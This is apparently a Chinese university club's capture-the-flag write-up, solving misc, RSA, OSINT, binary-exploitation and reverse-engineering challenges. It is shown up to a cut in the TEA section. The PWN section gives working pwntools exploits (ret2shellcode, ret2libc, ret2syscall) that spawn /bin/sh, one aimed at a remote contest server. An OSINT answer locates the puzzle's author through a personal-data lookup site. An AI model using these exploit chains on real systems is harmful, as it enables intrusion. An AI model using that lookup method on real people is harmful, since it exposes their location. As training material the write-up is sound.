23级第二次校赛WP

admin 2024年3月25日09:20:33评论5 views字数 46304阅读154分20秒阅读模式
网络安全社团

QLNU第二次校赛WP

23级第二次校赛圆满落幕!

经过了第一次校赛和寒假例会的洗礼,相信同学们对第二次校赛肯定是易如反掌吧。话不多说,这就为大家呈上本次校赛的WP。

MISC

隐秘的流量

想法是让⼤家简单的了解⼀下wireshark的简单⽤法。将pcapng后缀名⽂件拖⼊wireshark之中。

23级第二次校赛WP

上图是简单的视图,发现协议多是HTTP与TCP协议。通过右键tcp⼀流。

23级第二次校赛WP

点击追踪。

23级第二次校赛WP

很容易看到有个jpg的类型图⽚。往下翻,发现可疑的base64加密过的jpg图⽚内容。放到赛博橱⼦上 直接解

23级第二次校赛WP

23级第二次校赛WP

得到该图。往后找,发现压缩包内容

23级第二次校赛WP

同样⽅法,往后找到base64

23级第二次校赛WP

得到key.txt⽂件

23级第二次校赛WP

jpg图⽚与⼀段key,很容易联想到jpg的加密隐写。使⽤steghide解密即可。

23级第二次校赛WP

23级第二次校赛WP

当然利⽤⼯具wireshark的提取Http⽂件也可以的

音谱里的秘密

给了⼀个wav⽂件,将其拖⼊Audacity中。

23级第二次校赛WP

看到明显的频谱隐写内容。

23级第二次校赛WP

看到easykey,应该是⼀个密钥。

23级第二次校赛WP

这样看的更清楚 所以⾳频⾥有隐写⽂件。最常⻅的就是DeepSound和Mp3Stego了。

23级第二次校赛WP

使⽤DeepSound,输⼊密钥后发现flag.txt

QLNU{E@sY_De3pS0un4_Wow0!!}

签到题⽬

23级第二次校赛WP

打开很明显发现图⽚⾼度有问题(2.5条悟

23级第二次校赛WP

修改成800之后。

23级第二次校赛WP

眼⼒好直接看( 建议是可以⽤ppt拉⻓去看

23级第二次校赛WP

明显是rabbit等之类的密码,是经过加密过的。

23级第二次校赛WP

备注有key,直接求解即可

23级第二次校赛WP

hard_二维码

这道题,希望⼤家可以多学点东西⽽已

 ⼆维码解码

23级第二次校赛WP

23级第二次校赛WP

希望⼀眼顶针,可以直接明⽂攻击的。这边建议⼤家可以学习⽤下bkcrack

https://blog.csdn.net/Rick66Ashley/article/details/130015948

23级第二次校赛WP

23级第二次校赛WP

使⽤新密钥 1111 打开 flag.zip

url是100⼆维码碎⽚,使⽤gaps拼图即可。 

⾸先是合并为⼀张图。

magick montage G:第二次校赛出题miscBAKflagurl*.png -tile 10x10  -geometry +0+0 G:第二次校 赛出题miscBAKflagflag.png

23级第二次校赛WP

得到这要之后使⽤gaps

23级第二次校赛WP

稍微有点抽象,但是问题不⼤,⼤体已经看出来了

23级第二次校赛WP

⼆维码解码是个url

23级第二次校赛WP

找到⼀篇机密⽂档。但是没有密钥,回 存在lsb低位隐写 翻到最后找到flag

23级第二次校赛WP

CRYPTO

Ez_Vg

dveaukoo ks b huofangnucl fnengnu kn uje egvfnoqoeov og c pftspp aof speifvy. Jv it vhf mez vhbv oqgnt vhf fopt tp c wptle qf prppttvpiuket cne vhf frjxioi fptcf deikne rrpirfus bpd bfvbpcfoeov io xaskovu fjgleu.
Tig inrosvaoee ph eewcbvipp it oumvigccfvee. Hisutma, iu gmqqwfts jpdjxiewamu wjvh lpoxneeie bpd tmimns, fpacnioi tigm uq cpptskbvve qtoewcukvfny uq speifvy. Bp eewcbvee resuoo ks nqrf nilglz vo gkne iajpfvn enrlpamfpt ujau rrpxiegs feooqmje sucbjniua. Eewcbvipp amuo gqsugrt erjvidcl ujiomioi aof psqbmgm-tqlwknh cbjniuket, oalknh knekvjfubns cgtugr fsujrpff tp hadg ljhe't ehbnlfpgfu.

Sfeooflz, gdveaukoo ks b vopn fpt speibn cicnhg. Iu rrpoougs fsubniua bz rrpxieknh gvftyppe, sggbtdmgst qf ujejt speip-gcpponkc ccclirpwne, yiuj ao qpqqruwnjvy uq rjue bdowg tigis eiseunutbpcfu. Eewcbvipp amuo gqsugrt vomgrbpcf cne wnegrtvaofioi anqnh fiwgrtg gsququ, tiws qtonqtjpg qgadgfvn cpgxjutfpcf.

Husvhftmpte, ffudctjqn ju vjvam hos c titiwknh fenqcsccz. Kt qtonqtfu cjxid rasvidkpbvipp bz gqvkpqknh eiukzfps xkti vhf mnpylffgf vo nckf kngqrngd egcjuipps. Ffudctff cjviagnt crf oosg ljmema tp gnhcgf kn uje egmperbvid rrpeetu, uofesutbpdjpg uje joppttbpcf qf ujejt rjihuu aof rfupppsjdimktjgs.

Gknbnlz, gdveaukoo ks uje dqrogrtvoog og knoqvbvipp aof psqgsgst. Kt etiwgs teifptjhid fiteowgrjgs, ugcipomqgjeam cdwcndgmfptt, cne eumvuscl bpd bttjutje eyrrfusjqnt. Yiujovv eewcbvipp, hvoao eiwkljbaukoo yovnd oqt icvf rrpirfusff tp yhfte jv it voecy.RNNV{gata_Vh_sarqOPQO}!

Jp cppcmwsjqn, ffudctjqn ju a qqwftfvn tpql ujau eao vrbpsgqrn niwgs bpd tqcjgtjgs. Jv it pou oesglz cbpwt beqvkrjpg lpoxneeie bpd tmimns, cwt bnsp cbpwt gqsugrjpg wclvgs bpd tjaqknh vhf huuwrf. Vhftegqrf, vhf kmqqrucndg og gdveaukoo eaopou de vpdftsuctff. Iu ks bp ioxetvmfpt ujau aifndt uihpigkcbpt sgtvtnt hos knekvjfubns bpd tqcjgtz ct mcrhg.

https://www.guballa.de/vigenere-solver

ducation is a fundamental element in the development of a person and society. It is the key that opens the door to a world of opportunities and the driving force behind progress and advancement in various fields.

The importance of education is multifaceted. Firstly, it empowers individuals with knowledge and skills, enabling them to contribute productively to society. An educated person is more likely to find gainful employment that provides economic stability. Education also fosters critical thinking and problem-solving abilities, making individuals better equipped to face life's challenges.

Secondly, education is a tool for social change. It promotes equality by providing everyone, regardless of their socio-economic background, with an opportunity to rise above their circumstances. Education also fosters tolerance and understanding among diverse groups, thus promoting peaceful coexistence.

Furthermore, education is vital for a thriving democracy. It promotes civic participation by equipping citizens with the knowledge to make informed decisions. Educated citizens are more likely to engage in the democratic process, understanding the importance of their rights and responsibilities.

Finally, education is the cornerstone of innovation and progress. It drives scientific discoveries, technological advancements, and cultural and artistic expressions. Without education, human civilization would not have progressed to where it is today.QLNU{easy_Vg_qaqoOOOO}!

In conclusion, education is a powerful tool that can transform lives and societies. It is not merely about acquiring knowledge and skills, but also about fostering values and shaping the future. Therefore, the importance of education cannot be understated. It is an investment that yields significant returns for individuals and society at large.

QLNU{easy_Vg_qaqoOOO}

easy_math

解⽅程即可得到p q

from Crypto.Util.number import *
flag = b'QLNU{********************}'

m = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q = getPrime(128)
n = p*q
hint = p**2 + q - q**2
c = pow(m,e,n)
print(f'n = {n}')
print(f'c = {c}')
print(f'hint = {hint}')
# n = 4066989046528614294842893362061904588445144872572952085599721646638521965669761546802986253393187113014382893740880193187603420380033497843129234992349060125996800462748041473912015709499686031
# c = 2682514080672136859418985808538327892780174717422111511597091705275123559969283631904418376432703592455561809802457906928106324050855534660461893485287816955073293759228357111960447051982198208
# hint = 175868914106355419036564209866413854617244786345234517581641410594275995268461265702396983214027611337658137412265419506963643424883478222432593121735924178270277788240092767308972080299185366216191909949673701354867682761086213490626566933770607916688395022256983691052860078588386892228266377705779925623201

exp

from sympy import *
import gmpy2
from Crypto.Util.number import *
n = 4066989046528614294842893362061904588445144872572952085599721646638521965669761546802986253393187113014382893740880193187603420380033497843129234992349060125996800462748041473912015709499686031
c = 2682514080672136859418985808538327892780174717422111511597091705275123559969283631904418376432703592455561809802457906928106324050855534660461893485287816955073293759228357111960447051982198208
hint = 175868914106355419036564209866413854617244786345234517581641410594275995268461265702396983214027611337658137412265419506963643424883478222432593121735924178270277788240092767308972080299185366216191909949673701354867682761086213490626566933770607916688395022256983691052860078588386892228266377705779925623201
e = 65537

p,q = symbols('p q')
eq1 = Eq(p*q, n)
eq2 = Eq(p**2 + q - q**2, hint)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = 13261557755646785970700840859645995096234080037938166585133730865488970116366185740238586972789906581417732912060963090248727127540350063435172251468492111
q = 306675061969766399226230076981034134721
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#QLNU{easy_M@th_Sov3L_Pr0b1em}

small_e

from Crypto.Util.number import *
from gmpy2 import *
from flag import flag

m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 3

c = pow(m,e,n)
print(m)
print('n =',n)
print('c =',c)

#n = 23880326667647891983147940566276493500758235766112508399267525224573623744934828558001003426442262507579543331554973948557763625499145388217617518717218237091943197799248883625513462442954948449568481016784112432412143796241071734800311395389696769488069770709351136488020276950315684847282048686305088580821019630252366884206880280554876049808111160036447503203152474308656086304670549376642980772713855907798818333218036706726649021893047102936747826507227915655332985258653164566474919889608805367480587334672568042343435177161076219075464789049186363695187096220256542931220198234431185655215642221207771510938737
#c = 472148290993879172994119054959216735402266618704457913761294351701166711206945068022813233329358778586939773466352779380286150440932501247627521170922371102551388517

exp

from Crypto.Util.number import *
from gmpy2 import *

e=3  #因为e特别小,所以加密得到的值m的e次方小于N,则其对N取模的值就是其自身
c= 472148290993879172994119054959216735402266618704457913761294351701166711206945068022813233329358778586939773466352779380286150440932501247627521170922371102551388517
a= iroot(c,e)[0] #c的e次方根就是明文
print(long_to_bytes(a))
#b'QLNU{the_e_is_so_small}'

dp_leak

from Crypto.Util.number import *
from gmpy2 import gmpy2, mod

m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
N = (p-1)*(q-1)
c = pow(m,e,n)
d = gmpy2.invert(e,N)

print('dp=',dp)
print('n=',n)
print('c=',c)

#dp= 38858533777164714460320120274798090310463379701890464067070246091720103075189342681602138634403010804289969365840895720967747828584722145267898355476053344326582927392724004879301290804817270635368494376046214040495953568531468405461806326405870637237287242203754715611840440273628695431685716203613077745473
#n= 10938521322761389563543571109644600068497296610440941831261181437306633327656720611475515277153616855424946937207793384323167701532300246163656922750103757617443827054804234256662320689695598333740347310835776801670416513703113625329871341916697514825544892672014699150862932772722828596910673349261159304320068406183554071606707038755680788108287757919118826859729788716902991958045546026367028206323171399582358892060973714967669896242533866771801932298783415787052699518370009069603191789170913944048866888810221480101448748037932274557745773415788908138304206906300860472868237462204839788126516297431259932231131
#c= 10853353383496999493111528808297809467020960996007465944965416611876602282217415450189108648170921921804730218311275067659124450880327068136604681931103832611290686161178654123904939876990644243419010145166005262573561893102164681836921730338281250777774796237105048507107464313366799215139732434143091085112649323391256886917887670428434008741489969635319273367051639236549879800961110379916181535960845910099504019198854339487547370784933865194169652203649019729225928096652583088261880411387369193314778719919668927138933386511291160813223755128388693721824473870224790220179392586263478471307983925923467885502397

exp

import gmpy2
from Crypto.Util.number import *

e = 65537
dp= 38858533777164714460320120274798090310463379701890464067070246091720103075189342681602138634403010804289969365840895720967747828584722145267898355476053344326582927392724004879301290804817270635368494376046214040495953568531468405461806326405870637237287242203754715611840440273628695431685716203613077745473
n= 10938521322761389563543571109644600068497296610440941831261181437306633327656720611475515277153616855424946937207793384323167701532300246163656922750103757617443827054804234256662320689695598333740347310835776801670416513703113625329871341916697514825544892672014699150862932772722828596910673349261159304320068406183554071606707038755680788108287757919118826859729788716902991958045546026367028206323171399582358892060973714967669896242533866771801932298783415787052699518370009069603191789170913944048866888810221480101448748037932274557745773415788908138304206906300860472868237462204839788126516297431259932231131
c= 10853353383496999493111528808297809467020960996007465944965416611876602282217415450189108648170921921804730218311275067659124450880327068136604681931103832611290686161178654123904939876990644243419010145166005262573561893102164681836921730338281250777774796237105048507107464313366799215139732434143091085112649323391256886917887670428434008741489969635319273367051639236549879800961110379916181535960845910099504019198854339487547370784933865194169652203649019729225928096652583088261880411387369193314778719919668927138933386511291160813223755128388693721824473870224790220179392586263478471307983925923467885502397


for i in range(1, e): #开始爆破
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:
            p = ((dp * e - 1) // i) + 1
            q = n // (((dp * e - 1) // i) + 1)
            d = gmpy2.invert(e, (p - 1) * (q - 1))
            m = pow(c, d, n)

print(long_to_bytes(m))
#b'QLNU{dp_@_666aaa_sign_in}'
OSINT

OSINT1

FLAG格式 xx市_xx区_离拍摄地最近的地铁站(无空格横线等特殊符合,连接除外)

23级第二次校赛WP

通过百度,搜索图⽚中的关键字:⾦码⼤厦。

23级第二次校赛WP

由此得知位于北京市

23级第二次校赛WP

定位到海淀区,此时只差⼀个地铁站。仅搜索地铁站进⾏定位即可

23级第二次校赛WP

所以flag为 QLNU{北京市_海淀区_六道⼝地铁站}

OSINT2

题目提示:这是出题人huan回家路上随意拍的一张图片,请你根据图片的关键信息得到huan拍摄的乐园吧。FLAG格式:xx省_xx市_xx区_xx街_xx乐园

23级第二次校赛WP

由huan出题⼈,去找出题⼈QQ但是很明显出题⼈并不在哪⾥(

23级第二次校赛WP

https://privacy.aiuys.com/

23级第二次校赛WP

随便⼀个⽹站去社⼯即可,电话以弃⽤(但是位置是对的

但是定位到乐园是潍坊的啦

根据图⽚乐园特征

23级第二次校赛WP

隐约有椰⼦树和⼀个⽔上滑梯,很明显乐园以⽔主题

搜索⽔上乐园

23级第二次校赛WP

发现特征可以对上

所以flag为 QLNU{⼭东省_潍坊市_潍城区_卧⻰西街_海上明珠乐园}

PWN

ret2text!冲!!

开启了PIE,可以先去了解⼀下PIE是⼲什么的,⼀般就是后三位不变,所以我们可以通过爆破第⼀位 的⽅式获得后⻔地址,16/1的概率获得后⻔

from pwn import *
from ctypes import *
context(os='Linux',arch = 'amd64',log_level ='debug')

p = process('./demo3')
# p = gdb.debug('./pwn')
# p = remote('challenge.qsnctf.com',31862)
elf = ELF('./demo3')

# libc = cdll.LoadLibrary('libc.so.6') 
# libc.srand(1) #设置种子

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
rcv = lambda : p.recv()
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
d = lambda :gdb.attach(p)
b = lambda :pause()

payload = (0x20+8) * b'a' + b'x92xA2'
sla('read:',b'200')
# d()
# b()
sd(payload)
it()

Ez_shellcode

栈溢出加ret2shellcode,分析源码就是输⼊buf,复制到buf2,我们最后栈溢出返回地址到buf2执⾏ shellcode就可以了

from pwn import *
# from LibcSearcher import *
from ctypes import *
context(os='Linux',arch = 'amd64',log_level ='debug')

# p = process('./ret2shellcode')
# p = gdb.debug('./pwn')
p = remote('101.34.80.152',32835)
# elf = ELF('./demo3')

# libc = cdll.LoadLibrary('libc.so.6') 
# libc.srand(1) #设置种子

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
rcv = lambda : p.recv()
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
d = lambda :gdb.attach(p)
b = lambda :pause()

shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x218,b'x00') + p64(0x40101a) + p64(0x4033E0)

sla(b'input:',shellcode)
it()

Ez_libc

(libc6_2.35-0ubuntu3.6/5_amd64)

ret2libc的模板题,提供了libc,使其更加简单⼀点,libc版本过⾼,导致LibcSearcher并不能找到 libc,可以泄露去put地址去在线⽹站找libc。或⽤题⽬给的libc.so.6⽂件。

from pwn import*
from LibcSearcher import*

# io = remote("124.223.158.81", 27006)
io = process("./pwn")
elf = ELF("./libc.so.6")
libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x40117e
offset = 0x40
main = elf.symbols['main']
ret_addr = 0x40117f

payload1 = b'A'*offset + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvline()
io.sendline(payload1)

puts = u64(io.recv(6).ljust(8, b'x00'))
#print(hex(puts))

libcbase = puts - libc.sym['puts']
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
sys_addr = libcbase + libc.sym['system']

payload2 = b'A'*offset + p64(0) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline(payload2)

io.interactive()

Baby_syscall

程序中搜索不到syscall gadget⽚段 只能利⽤plt表中的syscall函数,需要gdb调试观测如何进⾏pop寄存器 

exp:

from LibcSearcher import *
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

r = process('./ret2syscall')
elf = ELF('./ret2syscall')

se      = lambda data               : r.send(data)
sa      = lambda delim, data         : r.sendafter(delim, data)
sl      = lambda data               : r.sendline(data)
sla     = lambda delim, data         : r.sendlineafter(delim, data)
sea     = lambda delim, data         : r.sendafter(delim, data)
rc      = lambda numb=4096          : r.recv(numb)
rl      = lambda                    : r.recvline()
ru      = lambda delims             : r.recvuntil(delims)
uu32    = lambda data               : u32(data.ljust(4, b''))
uu64    = lambda data               : u64(data.ljust(8, b''))
lic     = lambda data               : uu64(ru(data)[-6:])
pack    = lambda str, addr          : p32(addr)
padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
it      = lambda                    : r.interactive()

rax = 0x00000000004011e3
rdx = 0x00000000004011e5 
rbx = 0x00000000004011e7
rcx = 0x00000000004011e9 
rdi = 0x00000000004011ed
rsi = 0x00000000004011eb
syscall = elf.plt['syscall']
binsh = 0x404070
ret = 0x40101a

sl(b'/bin/shx00')
pl = b'a'*0x100 + b'c'*0x8 + p64(ret)
pl += p64(rdx) + p64(0)
pl += p64(rsi) + p64(binsh)
pl += p64(rdi) + p64(59)
pl += p64(rax) + p64(0)
pl += p64(rcx) + p64(0)
pl += p64(syscall)
sl(pl)
it()
RE

C++是最棒的语⾔

考点:c++,异或签到题,考点就是⼀个简单的签到,但是⽤c++写的,看起来有点头疼,其实也没什么啦,因为就⼀个 异或9

23级第二次校赛WP

⾄于其他的部分都是⼀些初始化和定义的部分,不需要看,也没有内置的函数, 可以直接拿赛博厨⼦秒了

23级第二次校赛WP

当然⾃⼰随便整⼀个python脚本也是可以的

exp

string = "XEG\rJ""V8zV}a:Vk:z}Vehgn|hnlV8gV]alV^9{8mt"
result = ""

for char in string:
    result += chr(ord(char) ^ 9)

print(result)

flag:QLNU{C++_1s_th3_b3st_language_1n_The_W0r1d}

Debug_me

考点:动态调试,rc4

本题是两个做法,动态调试法和直接逆向法

出题的时候就是想检测⼀下各位动调能⼒,所以只要成功动调起来了就送flag,这也是我的本意,⾄于 rc4解法我还是埋了⼀个⼩坑的 

1.动态调试法

动调具体细节看

https://jiangwenwen066.github.io/2023/02/06/%E5%88%9D%E6%AC%A1%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95/

或者看四叶草的⼀个视频

2.分析函数解决rc4法

断点就在最后⼩就⾏了,哪⾥都⽆所谓(前提是程序在调试的情况下会经过那个地⽅)

23级第二次校赛WP

然后直接启动就好了,这个程序在启动的时候会进⾏判断,判断当前是否是调试模式,调试模式的话 就会直接给你flag,正常运⾏的话就是提⽰输⼊flag,直接秒啦!

23级第二次校赛WP

3.分析函数解决rc4法

确实是⼀个rc4,但是⼤多数⼈可能不会直接得到结果,因为我对秘钥进⾏了⼀点⼩⼩的操作......(⿊ ⼼出题⼈

23级第二次校赛WP

定位到了加密函数,点进去看看,是定义了⼀个v2,⼀般来说这个v2就是key了,⽽且是⼀句我想给⼤ 家的话:调试是⼀个解决问题很好的⽅式!然后下⾯就是rc4_crypt函数了,参数分别是a1和v2,a1在 刚刚的main函数可以看到,就是我们的输⼊,v2⼤概就是秘钥了

23级第二次校赛WP

进去之后就得到了rc4的加密函数了,不⽤怀疑,没有魔改,就是正常的rc4,这个getkey就是⽣成秘 钥盒了,可以进去看看秘钥确定⼀下秘钥是什么,这⾥传⼊的参数就是前⾯的那⼀句话: 

Debugging_Is_A_Great_Method_For_Problem_Solving

23级第二次校赛WP

这⾥的坑就来了!a2的参数就是:

是⼀个很⻓的字符串,但是在⽣成秘钥盒的时候却只索引了前9位,也就是Debugging,所以说,rc4 的秘钥只有Debugging这⼀部分,然后就可以直接拿密⽂去赛博厨⼦解密了

23级第二次校赛WP

也附上exp:

#include<stdio.h>
 
/*
程序实现时,需要注意的是,状态向量数组S和临时向量数组T
的类型应设为unsigned char,而不是char。因为在一些机器
下,将char默认做为signed char看待,在算法中计算下标i,j的
时候,会涉及char转int,如果是signed的char,那么将char的8
位拷贝到int的低8位后,还会根据char的符号为,在int的高位补
0或1。由于密钥是随机产生的,如果遇到密钥的某个字节的高
位为1的话,那么计算得到的数组下标为负数,就会越界。
*/
typedef struct _RC4INFO
{
        unsigned char s_box[256];
        unsigned char t_box[256];
}RC4_INFO,*PRC4_INFO;                        //定义 RC4 中要用到的 S-Box 和临时向量 T,封装在结构体中并给正常别名和指针别名。 
 
 
/*
初始化函数 需要传入key 以及 keylen
主要有几个步骤
1.初始化Sbox
2.将key填充到Tbox中
3.组合sbox[i] 与 tbox[i] 然后进行交换
*/
void rc4_init(PRC4_INFO prc4,unsigned char key[],unsigned int keylen)
{
        int i=0;
        int j=0;
        unsigned char tmp;
        if(prc4==NULL)
        {
                return;
        }
        
        /*
        初始化存储0-255字节的Sbox(其实就是一个数组)
        填充key到256个字节数组中称为Tbox(你输入的key不满256个字节则初始化到256个字节)
        */ 
        for(i=0;i<256;i++)
        {
                prc4->s_box[i] = i;
                prc4->t_box[i] = key[i % keylen];        //如果密钥的长度是256字节,就直接把密钥的值赋给k,否则,轮转地将密钥的每个字节赋给k 
        }
        
        //交换s[i]与s[j]   i 从0开始一直到255下标结束. j是 s[i]与T[i]组合得出的下标
        for(i=0;i<256;i++)
        {
                j=(j+prc4->s_box[i]+prc4->t_box[i])%256;
                //开始交换
                tmp=prc4->s_box[i];
                prc4->s_box[i]=prc4->s_box[j];
                prc4->s_box[j]=tmp;
        }
 } 
 
/*
RC4加密其实就是遍历数据,将数据与sbox进行异或加密,而在此之前还需要交换一次sbox的数据
交换完之后 再把s[i] + s[j]的组合当做下标再去异或. 
*/
void rc4_crypt(unsigned char data[], unsigned char key[])
{
    int dn = 0; //data[n]的意思
    int i = 0;
    int j = 0; //i j分别用于交换sbox[i] 和 sbox[j]
    int t = 0; //t = s[i] + s[j]
    unsigned char tmp;

    RC4_INFO rc4; //这里定义前面的结构题
    rc4_init(&rc4, key, 9); //在加密函数中调用初始化函数,就省去了其它代码中出现的要保存初始化 sBox 的现象了.

    for (dn = 0; dn < 32; dn++)
    {
        //i确保S-box的每个元素都得到处理,j保证S-box的搅乱是随机的。
        i = (i + 1) % 256;
        j = (j + rc4.s_box[i]) % 256;

        //交换 s_box[i] 和 s_box[j]
        tmp = rc4.s_box[i];
        rc4.s_box[i] = rc4.s_box[j];
        rc4.s_box[j] = tmp;

        //交换完之后 再把s[i] + s[j]的组合当做下标再去异或.
        t = (rc4.s_box[i] + rc4.s_box[j]) % 256;
        data[dn] ^= rc4.s_box[t];
    }
}

void EntryBuffer(unsigned char data[])
{
    unsigned char key[] = "Debugging";
    rc4_crypt(data, key);
}


 
int main()
{
        char Hell[32] = {234,241,75,250,204,221,84,93,110,224,75,184,118,168,138,57,28,12,255,0,26,196,157,131,86,239,204,55,204,187,151,150};
        int i;
    EntryBuffer((unsigned char*)Hell); //加第一次调用就是加密 
    printf("解密后的flag是:%32snn", Hell);
    return 0;
}

flag:QLNU{JusT_D3bu6_Me_1S_0o0O0Oo0K}

进击的⼩⻦(超详细版)

考点:花指令,关键函数定位,伪随机数,异或,pdb⽂件导⼊

游戏题,出的难度还可以,有很多种做法。本题由于函数较多,所以本出题⼈好⼼的把pdb⽂件也⼀起给你们了。pdb⽂件就是存储着程序的⼀些符号表,通俗的说就是你们反编译exe的时候如果载⼊了pdb⽂件那么 就可以看到我写代码的时候定义的函数名,⽽不是loc40086这样的(为了更⽅便你们找到getflag关键 函数) 载⼊⽅法:在ida反编译的时候出现下⾯这个弹窗的时候选择yes,然后找到题⽬⽂件夹选择给你们的pdb⽂件就⾏了。

23级第二次校赛WP

接下来是本题⽬的三个解法,分别是ce修改器解法ida分析逆向法keypatch动调⽅法

  1. ida分析逆向法

这个解法算是常规解法,ida反编译程序

23级第二次校赛WP

main函数写的很简单,分别是开始,游戏,和结束三部分代码, 我写的关键的getflag函数在end⾥⾯

23级第二次校赛WP

函数传⼊的参数是分数score 跟进进去这个函数,就发现出现了下⾯的这个情况:

23级第二次校赛WP

这就说明ida在反编译出现了异常,当然,这⾥就是⼀个简单的花指令。按tab键去看⼀下汇编部分,去⼀下花指令

花指令去除:

23级第二次校赛WP

是⼀个很经典的jz,jnz⽆条件跳转

23级第二次校赛WP

在花指令处按u键,将代码变成⼗六进制数据,可以看到原来的call爆红的地⽅变成了db 0E8H 即定义 ⼀个数据为0XE8 这⾥就简单讲⼀下花指令的原理,我们⽤⼾端定义了⼀个0xE8⼀个⽆⽤的数据,对整个函数运⾏,没 有任何影响。但是0xE8这个数据如果要翻译成汇编代码的话,就是⼀个call指令,即跳转执⾏函数。所 以在不影响程序运⾏的情况下,骗过了ida的反编译,让他以为这⾥是⼀个call指令(其实就是定义了 ⼀个junkcode,所谓的脏字节)

23级第二次校赛WP

解决⽅法也很简单,右击nop掉这个0xE8就⾏,然后就变成了0x90(或者⽤keypatch把E8改成90 也是⼀样的)因为90这个数据转化成指令的话就是空的意思,没啥⽤,所以改过来让ida知道这⾥ 不是call指令就⾏了

23级第二次校赛WP

然后找到这个函数最上⾯的起点,点击函数的起点,来⼀套U C P连招,重新编译⼀下nop之后的代码 (也就是还原之后的源原码)

23级第二次校赛WP

这⾥解释⼀下什么是UCP 

U:刚刚解释过了。就是把汇编代码全部变回数据的形式 C:就是U的反操作,把数据变回汇编代码 

P:类似于f5的功能,就是把刚变回来的汇编代码重新编译成伪c代码(这⾥按f5也是⼀样的功能 这三个都是ida的快捷键,类似的还是N,H,R等等,⼤家可以了解⼀下 下⾯就是编译好的代码,可以直接f5看⼀下编译好了

23级第二次校赛WP

代码分析:

23级第二次校赛WP

我将代码分成了三个区域,分别在下⾯说明

1:这块就是定义v7这个数组,用于后面做比较的

2:这部分是一个srand()函数,和③部分的函数rand()配套使用 srand(1704038400)这个函数的意义就是把1704038400这个数字作为随机数的种子

3:

这部分就是根据②的srand()函数生成的种子来生成一个数组,长度是35位

在逆向的时候由于我们也知道种子,所以可以直接自己生成自己去生成数组v4,结果和这里的结果是一样的

4:

加密部分,其实就是两个数组异或。

解密开始:

⾸先先把⽤srand()函数⽣成的数组给⽣成出来

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    unsigned int seed = 1704038400;
    int array[35];
    int i;
    srand(seed);
    for (i = 0; i < 35; i++) {
        array[i] = rand() % 255;
    }
    for (i = 0; i < 35; i++) {
        printf("%d ", array[i]);
    }
    printf("n");

    return 0;
}
//218 215 125 172 171 129 84 200 181 148 173 10 106 234 64 82 211 149 119 54 112 41 176 26 110 212 248 56 156 84 79 192 52 125 13

⾄于这⾥为什么要%256,因为ascll码范围是0~255 得到了数组后,再加上⼀个异或就可以了

 exp:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    unsigned int seed = 1704038400;
    unsigned char flag[35] = { 224,137,18,198,208,76,140,220,96,234,4,156,106,182,51,101,223,127,97,150,33,190,70,206,56,200,175,100,35,24,87,183,178,70,196 };
    int array[35];
    int i;
    srand(seed);
    for (i = 0; i < 35; i++) {
        array[i] = rand() % 256;
        flag[i]^=array[i]; 
    }
    for (i = 0; i < 35; i++) {
        printf("%c", flag[i]);
    }
    printf("n");

    return 0;
}

flag:QLNU{The_f1ag 1s_@_littl3_bit_l0ng}

2.ce修改器破解法

可以直接⽤ce修改器去定位存储分数的地址,然后直接修改就可以了 ce打开这个游戏的进程(注意,不是exe的进程⽽且游戏的进程

23级第二次校赛WP

先开局来⼀把零分,搜索⼀下为0的数值

23级第二次校赛WP

然后拿到1分后点击再次扫码,找到这期间变化过的数值,还是很多,那就继续⼆分

23级第二次校赛WP

差不多了,两个地⽅,⼀个是分数,⼀个是最⾼分,都双⾦修改数值50就可以了,注意关掉激活就⾏ 了(不然下次玩的时候得到的分数会覆盖修改之后的数值

23级第二次校赛WP

然后就得到了

flag flag:QLNU{The_f1ag 1s_@_littl3_bit_l0ng}

3.keypatch、动调⽅法

这个⽅法是在ida分析的基础上,已经了解了代码的⼤致流程的情况下进⾏ 可以看下重点的getflag函数:

23级第二次校赛WP

出题⼈不算是特别阴间,拿⼀分就加密⼀分flag,⽽是事先就把flag给解密好,然后看得到了⼏份就给 ⼏位flag,所以直接下断点在解密flag的地⽅就可以直接看到完整的flag了,v7即是flag

23级第二次校赛WP

或者也可以在这⾥下断点:第⼀个断点是在输出flag之前,⽤于修改a1的数值,第⼆个是输出结束之 后,看结果的

23级第二次校赛WP

a1就是getflag函数传⼊的参数,即分数,k是循环变量,我们只需要把k>=a1的条件给删掉(死循环) 或者在这⾥⽤keypatch修改⼀下a1的数值就⾏了

23级第二次校赛WP

改⼀下数,别太⼤,最好别99,容易崩溃。改成50就⾏了 然后⼀直按f8flag就⼀个个出来了 (后来我崩溃太多次,没截图了,这么做是可以的)

Drink a cup of tea

考点:tea加密(没魔改)

就是⼀个简单的tea加密,⽽且没有任何魔改,⽽且写的⾮常美观(我都佩服我⾃⼰

23级第二次校赛WP

v4[0]~v3[7]是密⽂,v7是key

23级第二次校赛WP

多么经典的tea加密,甚⾄没有⼀点魔改

 exp:

#include <stdio.h>
#include <stdint.h>
 
void encrypt (uint32_t *v,uint32_t *k ){
        uint32_t v0=v[0],v1=v[1],sum=0,i;
        uint32_t delta=0x9e3779b9;
        uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
